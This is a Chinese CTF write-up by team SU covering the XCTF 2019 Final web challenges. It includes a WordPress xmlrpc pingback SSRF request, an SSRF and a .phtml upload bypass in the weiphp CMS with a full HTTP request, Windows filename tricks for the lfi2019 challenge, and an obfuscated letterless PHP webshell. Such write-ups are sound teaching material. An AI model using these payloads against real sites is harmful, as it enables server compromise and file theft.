我们 SU 这次一共做出了3个 Web ,由于今年 XCTF Final 的时间不是特别好,我们队其他师傅有考试的考试,基本就现场的两个 Web 手在做,最后 LFI2019 比较可惜,如果多个几 min 我们就可以出了,实在可惜。下面就写写本次的 Web Write Up。
[TOC]
Web
babyblog
界面跟 Byte CTF 的 babyblog 一致,有些功能还保留着,很有误导性…以为是个升级版,前者是一道二次注入后用 php 正则/e
特性来执行命令的,所以我们一开始也就一直在日注入了…
后来我发现/user
个人界面有 ip 记录,于是尝试 XFF 注入无果,但是可以把 XFF 直接回显到页面上。发现/server_status
,发现有大家的访问记录。陷入思考ing…
队友突然看到有一个访问记录/user/1.css
(类似的这么一个路由,不太想得起来了),马上想到可能是缓存投毒,联想跟上文说的 XFF 的设置,想到可以缓存投毒将反射 xss 变成缓存 xss ,这样就可以打到 admin 了。
babypress
这题比较狗血…前一天给了两个 hint :
first hint for babypress: ssrf n-day exploit on the internet will not work
second hint: if you can exploit in your local, it should be possible to exploit in remote.
随便搜一下我们大概可以知道 ssrf n-day 是通过 xmlrpc.php
这个文件来打内网的,然后当晚我们通过xmlrpc.php
成功进行了 SSRF ,当看到了这两个 hint …我们就感觉不妙,应该打的不是我们这个, but 我们确实打成功了呀…于是我们当晚又加了一会班,当时最新版本是 5.2.4 ,于是我们找到 5.2.4 的 security issue,然后找到了更新补丁,但是感觉绕不过…以为是个新的绕过方式啥的…
好了,结果到了第二天一开始没人打成功…后来,到了差不多中午主办方又发公告更换环境,当时我们都在看另一个题,也就没管,结果一会有两个队出了…然后我们试了一下昨晚我们打xmlrpc.php
的,就成了…
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
主要就是要发一个评论以及更改一下第二个参数为他的 host 才行…这题也没啥好说的…感觉全场唯一的槽点(Web)就是这个了。
weiphp
一个叫 weiphp 的 CMS 审计,这个主要是队友看的,我当时做另外一道题去了。我们出的是一个 ssrf 的地方,赛后问了出的师傅,是审了上传的地方。
SSRF
我们全局搜curl
,可以在 Base.php 中发现有以下代码:
public function post_data($url, $param, $type = 'json', $return_array = true, $useCert = [])
{
$res = post_data($url, $param, $type, $return_array, $useCert);
// 各种常见错误判断
if (isset($res['curl_erron'])) {
$this->error($res['curl_erron'] . ': ' . $res['curl_error']);
}
if ($return_array) {
if (isset($res['errcode']) && $res['errcode'] != 0) {
$this->error(error_msg($res));
} elseif (isset($res['return_code']) && $res['return_code'] == 'FAIL' && isset($res['return_msg'])) {
$this->error($res['return_msg']);
} elseif (isset($res['result_code']) && $res['result_code'] == 'FAIL' && isset($res['err_code']) && isset($res['err_code_des'])) {
$this->error($res['err_code'] . ': ' . $res['err_code_des']);
}
}
return $res;
}
跟进第三行的post_data
,我们可以在 common.php 中找到该函数:
function post_data($url, $param = [], $type = 'json', $return_array = true, $useCert = [])
{
$has_json = false;
if ($type == 'json' && is_array($param)) {
$has_json = true;
$param = json_encode($param, JSON_UNESCAPED_UNICODE);
} elseif ($type == 'xml' && is_array($param)) {
$param = ToXml($param);
}
add_debug_log($url, 'post_data');
// 初始化curl
$ch = curl_init();
if ($type != 'file') {
add_debug_log($param, 'post_data');
// 设置超时
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
} else {
// 设置超时
curl_setopt($ch, CURLOPT_TIMEOUT, 180);
}
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
// 设置header
if ($type == 'file') {
$header[] = "content-type: multipart/form-data; charset=UTF-8";
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
} elseif ($type == 'xml') {
curl_setopt($ch, CURLOPT_HEADER, false);
} elseif ($has_json) {
$header[] = "content-type: application/json; charset=UTF-8";
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
}
// curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_AUTOREFERER, 1);
// dump($param);
curl_setopt($ch, CURLOPT_POSTFIELDS, $param);
// 要求结果为字符串且输出到屏幕上
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// 使用证书:cert 与 key 分别属于两个.pem文件
if (isset($useCert['certPath']) && isset($useCert['keyPath'])) {
curl_setopt($ch, CURLOPT_SSLCERTTYPE, 'PEM');
curl_setopt($ch, CURLOPT_SSLCERT, $useCert['certPath']);
curl_setopt($ch, CURLOPT_SSLKEYTYPE, 'PEM');
curl_setopt($ch, CURLOPT_SSLKEY, $useCert['keyPath']);
}
$res = curl_exec($ch);
if ($type != 'file') {
add_debug_log($res, 'post_data');
}
// echo $res;die;
$flat = curl_errno($ch);
$msg = '';
if ($flat) {
$msg = curl_error($ch);
}
// add_request_log($url, $param, $res, $flat, $msg);
if ($flat) {
return [
'curl_erron' => $flat,
'curl_error' => $msg
];
} else {
if ($return_array && !empty($res)) {
$res = $type == 'json' ? json_decode($res, true) : FromXml($res);
}
return $res;
}
}
可以看到 common.php 中的没有什么过滤,所以我们只需要找引用 Base.php 当中的post_data
函数的地方就行了。我们随便登录一下就可以发现其路由规则了,比如登录路由是index.php/home/user/login
,对应的是application/home/controller/User.php
当中的login()
方法,而 Base.php 跟其他 controller 有以下继承关系:
home/controller/User.php -> home/controller/Home.php -> common/controller/WebBase.php -> common/controller/Base.php
所以post_data
为 public 方法也可以直接调用,所以根据post_data
方法的参数,我们需要传入几个参数,url
为 SSRF 的点,param
随笔即可。
这里由于 cms 开启了 debug ,这里要把type
参数设为file
,让post_data
函数在调用FromXml
函数的时候,由于我们传入诸如url=file:///etc/passwd
的参数,会导致simple_xml_load_string
出错
/**
* 将xml转为array
*/
function FromXml($xml)
{
if (!$xml) {
exception("xml数据异常!");
}
file_log($xml, 'FromXml');
// 解决部分json数据误入的问题
$arr = json_decode($xml, true);
if (is_array($arr) && !empty($arr)) {
return $arr;
}
// 将XML转为array
$arr = json_decode(json_encode(simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOCDATA)), true);
return $arr;
}
可以看到在图中已经拿到了文件内容回显,所以当时我们就用这个 SSRF 拿到了 flag
upload
在application/home/controller/File.php
我们可以看到有这么一个方法
/* 文件上传 到根目录 */
public function upload_root() {
$return = array(
'status' => 1,
'info' => '上传成功',
'data' => ''
);
/* 调用文件上传组件上传文件 */
$File = D('home/File');
$file_driver = strtolower(config('picture_upload_driver'));
$setting = array (
'rootPath' => './' ,
);
$info = $File->upload($setting, config('picture_upload_driver'), config("upload_{$file_driver}_config"));
// $info = $File->upload(config('download_upload'), config('picture_upload_driver'), config("upload_{$file_driver}_config"));
/* 记录附件信息 */
if ($info) {
$return['status'] = 1;
$return = array_merge($info['download'], $return);
} else {
$return['status'] = 0;
$return['info'] = $File->getError();
}
/* 返回JSON数据 */
return json_encode($return);
}
其中是调用了application/home/model/File.php
中的一个upload
函数
public function upload($setting = [], $driver = 'Local', $config = null, $isTest = false)
{
...
$info = upload_files($setting, $driver, $config, 'download', $isTest);
...
}
这个函数又调用了application/common.php
当中的upload_files
函数,然后我们可以发现又这么一段神奇的代码:
if ($type == 'picture') {
//图片扩展名验证 ,图片大小不超过20M
$checkRule['ext'] = 'gif,jpg,jpeg,png,bmp';
$checkRule['size'] = 20971520;
} else {
$allowExt = input('allow_file_ext', '');
if ($allowExt != '') {
$checkRule['ext'] = $allowExt;
}
$allowSize = input('allow_file_maxsize', '');
if ($allowSize > 0) {
$checkRule['size'] = $allowSize;
}
}
这里input('allow_file_ext', '');
表示我们可以设置允许上传的类型…然后我们随便上传一个试试
POST /weiphp/public/index.php/home/file/upload_root HTTP/1.1
Host: zedd.vv
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------6593480186465200061941970669
Content-Length: 480
Origin: http://zedd.vv
Connection: close
Referer: http://zedd.vv/upload.html
Cookie: PHPSESSID=0cfb281c78e25924ebb7c8abe9084590
Upgrade-Insecure-Requests: 1
-----------------------------6593480186465200061941970669
Content-Disposition: form-data; name="name"; filename="1.phtml"
Content-Type: text/php
<?php
phpinfo();?>
-----------------------------6593480186465200061941970669
Content-Disposition: form-data; name="allow_file_ext"
phtml
-----------------------------6593480186465200061941970669
Content-Disposition: form-data; name="allow_file_maxsize"
1024
-----------------------------6593480186465200061941970669--
虽然报错了但是我们依然上传成功了,直接访问那个路径即可。
lfi2019
在 header 头有一个提示可以拿到源码
X-Hint: /index.php?show-me-the-hint
<?php
/*
Developed by stypr.
Made in 2018, Releasing in 2019!
*/
// Baka flag-sama and seed-chan! //
error_reporting(0);
ini_set("display_errors","off");
@require('flag.php');
$seed = md5(rand(PHP_INT_MIN,PHP_INT_MAX));
if($flag === $_GET['trigger']){
die(hash("sha256", $seed . $flag));
}
// Sessions are never used but we add that //
ini_set('session.cookie_httponly', 1); @phpinfo();
ini_set('session.cookie_secure', 1); @phpinfo();
ini_set('session.use_only_cookies',1); @phpinfo();
ini_set('session.gc_probability', 1); @phpinfo();
// but really, you can't really do something with sessions. //
session_save_path('./sess/');
session_name("lfi2019");
session_start();
session_destroy();
// Flush directory for security purposes //
// Referenced it from StackOverflow: https://bit.ly/2MxvxXE //
function rrmdir($dir, $depth=0){
if (is_dir($dir)){
$objects = scandir($dir);
foreach ($objects as $object){
if ($object != "." && $object != ".."){
if(is_dir($dir."/".$object))
rrmdir($dir."/".$object, $depth + 1);
else
unlink($dir."/".$object);
}
}
}
if($depth != 0) rmdir($dir);
}
function countdir($dir){
if (is_dir($dir)){
$objects = scandir($dir);
foreach ($objects as $object){
if ($object != "." && $object != ".."){
$count += 1;
if(is_dir($dir."/".$object))
$count += countdir($dir."/".$object);
}
}
}
return $count;
}
var_dump(countdir("./files"));
if(countdir("./files/") >= 100) @rrmdir("./files/");
// Here, kawaii path-san for you! //
function path_sanitizer($dir, $harden=false){
$dir = (string)$dir;
$dir_len = strlen($dir);
// Deny LFI/RFI/XSS //
$filter = ['.', './', '~', '.\\', '#', '<', '>'];
foreach($filter as $f){
if(stripos($dir, $f) !== false){
return false;
}
}
// Deny SSRF and all possible weird bypasses //
$stream = stream_get_wrappers();
$stream = array_merge($stream, stream_get_transports());
$stream = array_merge($stream, stream_get_filters());
foreach($stream as $f){
$f_len = strlen($f);
if(substr($dir, 0, $f_len) === $f){
return false;
}
}
// Deny length //
if($dir_len >= 128){
return false;
}
// Easy level hardening //
if($harden){
$harden_filter = ["/", "\\"];
foreach($harden_filter as $f){
$dir = str_replace($f, "", $dir);
}
}
// Sanitize feature is available starting from the medium level //
return $dir;
}
// The new kakkoii code-san is re-implemented. //
function code_sanitizer($code){
// Computer-chan, please don't speak english. Speak something else! //
$code = preg_replace("/[^<>!@#$%\^&*\_?+\.\-\\\'\"\=\(\)\[\]\;]/u", "*Nope*", (string)$code);
return $code;
}
// Errors are intended and straightforward. Please do not ask questions. //
class Get {
protected function nanahira(){
// senpai notice me //
function exploit($data){
$exploit = new System();
}
$_GET['trigger'] && !@@@@@@@@@@@@@exploit($$$$$$_GET['leak']['leak']);
}
private $filename;
function __construct($filename){
$this->filename = path_sanitizer($filename);
}
function get(){
if($this->filename === false){
return ["msg" => "blocked by path sanitizer", "type" => "error"];
}
// wtf???? //
if(!@file_exists($this->filename)){
// index files are *completely* disabled. //
if(stripos($this->filename, "index") !== false){
return ["msg" => "you cannot include index files!", "type" => "error"];
}
// hardened sanitizer spawned. thus we sense ambiguity //
$read_file = "./files/" . $this->filename;
$read_file_with_hardened_filter = "./files/" . path_sanitizer($this->filename, true);
if($read_file === $read_file_with_hardened_filter ||
@file_get_contents($read_file) === @file_get_contents($read_file_with_hardened_filter)){
return ["msg" => "request blocked", "type" => "error"];
}
// .. and finally, include *un*exploitable file is included. //
@include("./files/" . $this->filename);
return ["type" => "success"];
}else{
return ["msg" => "invalid filename (wtf)", "type" => "error"];
}
}
}
class Put {
protected function nanahira(){
// senpai notice me //
function exploit($data){
$exploit = new System();
}
$_GET['trigger'] && !@@@@@@@@@@@@@exploit($$$$$$_GET['leak']['leak']);
}
private $filename;
private $content;
private $dir = "./files/";
function __construct($filename, $data){
global $seed;
if((string)$filename === (string)@path_sanitizer($data['filename'])){
$this->filename = (string)$filename;
}else{
$this->filename = false;
}
$this->content = (string)@code_sanitizer($data['content']);
}
function put(){
// just another typical file insertion //
if($this->filename === false){
return ["msg" => "blocked by path sanitizer", "type" => "error"];
}
// check if file exists //
if(file_exists($this->dir . $this->filename)){
return ["msg" => "file exists", "type" => "error"];
}
file_put_contents($this->dir . $this->filename, $this->content);
// just check if file is written. hopefully. //
if(@file_get_contents($this->dir . $this->filename) == ""){
return ["msg" => "file not written.", "type" => "error"];
}
return ["type" => "success"];
}
}
// Triggering this is nearly impossible //
class System {
function __destruct(){
global $seed;
// ain't Argon2, ain't pbkdf2. what could go wrong?
$flag = hash('sha256', $seed);
if($_GET[$flag]){
@system($_GET[$flag]);
}else{
@unserialize($_SESSION[$flag]);
}
}
}
// Don't call me a savage... I gave everything you need //
if($_SERVER['QUERY_STRING'] === "show-me-the-hint"){
show_source(__FILE__);
exit;
}
// XSS protection and hints ^-^ //
header('X-Hint: /index.php?show-me-the-hint');
header('X-Frame-Options: DENY');
header('X-XSS-Protection: 1; mode=block;');
header('X-Content-Type-Options: nosniff');
header('Content-Type: text/html; charset=utf-8');
header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');
//header("Content-Security-Policy: default-src 'self'; script-src 'nonce-${seed}' 'unsafe-eval';" .
//"font-src 'nonce-${seed}' fonts.gstatic.com; style-src 'nonce-${seed}' fonts.googleapis.com;");
// Hello, JSON! //
$parsed_url = explode("&", $_SERVER['QUERY_STRING']);
if(count($parsed_url) >= 2){
header("Content-Type:text/json");
switch($parsed_url[0]){
case "get":
$get = new Get($parsed_url[1]);
$data = $get->get();
break;
case "put":
$put = new Put($parsed_url[1], $_POST);
$data = $put->put();
break;
default:
$data = ["msg" => "Invalid data."];
break;
}
die(json_encode($data));
}
?>
<!doctype html>
<html>
<head>
<meta charset=utf-8>
<link rel="stylesheet" href="//stackpath.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css" nonce="<?php echo $seed; ?>">
<link rel="styleshhet" href="//fonts.googleapis.com/css?family=Muli:300,400,700" nonce="<?php echo $seed; ?>">
<link rel="stylesheet" href="./static/legit.css" nonce="<?php echo $seed; ?>">
<title>LFI2019</title>
</head>
<body>
<div class="modal fade" id="put-modal">
<div class="modal-dialog modal-lg">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title">put2019</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<div class="form-group">
<label for="upload-filename" class="col-form-label">Filename:</label>
<input type="text" class="form-control" id="upload-filename">
</div>
<div class="form-group">
<label for="upload-content" class="col-form-label">Content:</label>
<textarea class="form-control disabled" id="upload-content" rows=10></textarea>
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
<button type="button" class="btn btn-primary" id="upload-submit">put();</button>
</div>
</div>
</div>
</div>
<div class="modal fade" id="get-modal">
<div class="modal-dialog modal-lg">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title">get2019</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<div class="form-group">
<label for="include-filename" class="col-form-label">Filename:</label>
<input type="text" class="form-control" id="include-filename">
</div>
<div class="form-group">
<textarea class="form-control disabled" id="include-content" disabled rows=10></textarea>
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
<button type="button" class="btn btn-primary" id="include-submit">include();</button>
</div>
</div>
</div>
</div>
<div class="modal fade" id="info-modal">
<div class="modal-dialog modal-lg">
<div class="modal-content">
<div class="modal-header">
<button type="button" class="close" data-dismiss="modal" aria-hidden="true">×</button>
</div>
<div class="modal-body">
<p>
Hi there! We introduce LFI2019 with another technique that never came out on CTFs.
We want to end tedious LFI challenges starting from this year.
Traps are everywhere, so be warned. Good Luck!
</p>
<p>
.. and of course, the main objective for this challenge is absolutely straightforward: Leak the sourcecode of flag file to solve this challenge. flag is located at <code>flag.php</code>.
</p>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-default" data-dismiss="modal">Close</button>
</div>
</div>
</div>
</div>
<ul class="text hidden">
<li>L</li>
<li class="ghost">e</li>
<li class="ghost">g</li>
<li class="ghost">i</li>
<li class="ghost">t</li>
<li class="spaced">F</li>
<li class="ghost">i</li>
<li class="ghost">l</li>
<li class="ghost">e</li>
<li class="spaced">I</li>
<li class="ghost">n</li>
<li class="ghost">c</li>
<li class="ghost">l</li>
<li class="ghost">u</li>
<li class="ghost">s</li>
<li class="ghost">i</li>
<li class="ghost">o</li>
<li class="ghost">n</li>
<li class="spaced">2019</li>
<br>
<br>
<div class="hide" id="kawaii">
<center>
<button class="btn col-4 btn-success half" id="get">include</button>
<button class="btn col-4 btn-warning" id="put">upload</button>
<button class="btn col-3 btn-info" id="info">info</button>
<p class="lightgrey">
Reference ID: <b class="ref"><?php echo $seed; ?></b>
</p>
Made with ♥ by stypr.
</center>
</div>
</ul>
<script src="https://code.jquery.com/jquery-3.3.1.min.js" nonce="<?php echo $seed; ?>"></script>
<script src="//stackpath.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js" nonce="<?php echo $seed; ?>"></script>
<script src="./static/legit.js" nonce="<?php echo $seed; ?>" defer></script>
</body>
</html>
<!-- https://www.youtube.com/watch?v=OEpeRmPkRIU -->
不过比较无语的是有很多的垃圾代码…可以看到有个出题人留的后门函数,but 因为code_sanitizer
的过滤
// The new kakkoii code-san is re-implemented. //
function code_sanitizer($code){
// Computer-chan, please don't speak english. Speak something else! //
$code = preg_replace("/[^<>!@#$%\^&*\_?+\.\-\\\'\"\=\(\)\[\]\;]/u", "*Nope*", (string)$code);
return $code;
}
这里我们可以使用无字母的 webshell 来进行一个绕过,可以参考一些不包含数字和字母的webshell,这里我就直接放 ROIS 师傅们的无字母 webshell 内容了
<?=$_=[]?><?=$_=@"$_"?><?=$___=$_['!'!='@']?><?=$____=$_[('!'=='!')+('!'=='!')+('!'=='!')]?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_="_"?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_="_"?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_____=$__?><?=$__=''?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_="."?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_____($__)?>
不过他们可能搞错了,这里他们本意想用<?=?>
来绕过;
限制,但是其实;
并没有过滤…
最后一步可以说有了,我们来看看前几步,Put
类的__construct
有一个path_sanitizer
,我们可以看到有一些检查什么的,没有false
的情况是不会过滤/
的,这里初始化的时候不会过滤/
。
所以如果我们在写文件的时候,用put&test/test
去写test
目录test
文件,file_put_contents
会因为test
目录不存在而写不进去。
file_put_contents(./test/test): failed to open stream: No such file or directory
那如果我们直接写进一个test
文件呢?写是没有问题的,但是我们在用get
路由读的时候就会发生问题了。
function get(){
if($this->filename === false){
return ["msg" => "blocked by path sanitizer", "type" => "error"];
}
// wtf???? //
if(!@file_exists($this->filename)){
// index files are *completely* disabled. //
if(stripos($this->filename, "index") !== false){
return ["msg" => "you cannot include index files!", "type" => "error"];
}
// hardened sanitizer spawned. thus we sense ambiguity //
$read_file = "./files/" . $this->filename;
$read_file_with_hardened_filter = "./files/" . path_sanitizer($this->filename, true);
if($read_file === $read_file_with_hardened_filter ||
@file_get_contents($read_file) === @file_get_contents($read_file_with_hardened_filter)){
return ["msg" => "request blocked", "type" => "error"];
}
// .. and finally, include *un*exploitable file is included. //
@include("./files/" . $this->filename);
return ["type" => "success"];
}else{
return ["msg" => "invalid filename (wtf)", "type" => "error"];
}
}
我们仔细看这段代码,由于path_sanitizer
传入了true
,这里会把传入的文件名当中/
过滤为空,然后有一个比较,如果直接拼接得到的路径与拼接上过滤之后得到的路径相等的话,会进一步比较他们的文件内容,如果相等的话就会被 block …而我们要进行 include ,那就需要绕过这两个判断…
什么个意思呢?就是即使文件名相等,内容也不能相等。
但是我们这里要注意path_sanitizer
,如果我们传入一个含有/
的文件名那就可以利用这个方法绕过文件名的判断,直接进行包含了。
而题目环境我们可以由一开始的 phpinfo 得到是一个 windows 的环境(虽然赛场是没有的,但是也可以通过各种方法判断一下,比如 nmap 啥的…)
所以我们现在主要就是绕读写文件这一块了。
Trick 1
对于Windows的文件读取,有一个小 Trick :使用
FindFirstFile
这个API的时候,其会把"
解释为.
。shell"php === shell.php //true
所以我们可以利用这个 trick ,来构造文件名为"/test
的文件,什么个意思呢?
$read_file = "./files/./test";
$read_file_with_hardened_filter = "./files/.test";
file_get_contents($read_file) = '实际文件内容';
file_get_contents($read_file_with_hardened_filter) = false //文件不存在
传入的"/test
文件名,由于这个 trick ,会被 Windows 认为是./test
,所以在处理这个方式上就产生了差异也就绕过了两个判断
Trick 2
可以参考 windows的一些特性 这篇文章,文章最后告诉我们,可以上传一个文件名为test::$INDEX_ALLOCATION
的文件,就相当于创建了一个test
的文件夹,详细原理可以看该篇文章。
这样我们就可以先用这个 Trick 创建一个文件夹test
,然后用put
随意写一个文件test/file
,在读取的时候,由于path_sanitizer
会把我们的/
过滤,就成功绕过了文件名的判断了。绕过了这些就只剩下无字母写 webshell 的问题了。
noxss
单独为这道题开一篇文章来写,真的tql…
tfboys
机器学习的题目,表示不会…地址在 XCTF-2019-tfboys
Conclusion
体验极其好的一次比赛,非常感谢 @r3kapig 师傅们的精心准备,毫不夸张地说,这是本年度体验最好的一场比赛,无论从题目质量或者是从比赛过程的体验,都是非常棒的。希望国内以后更多一些这类的良心比赛!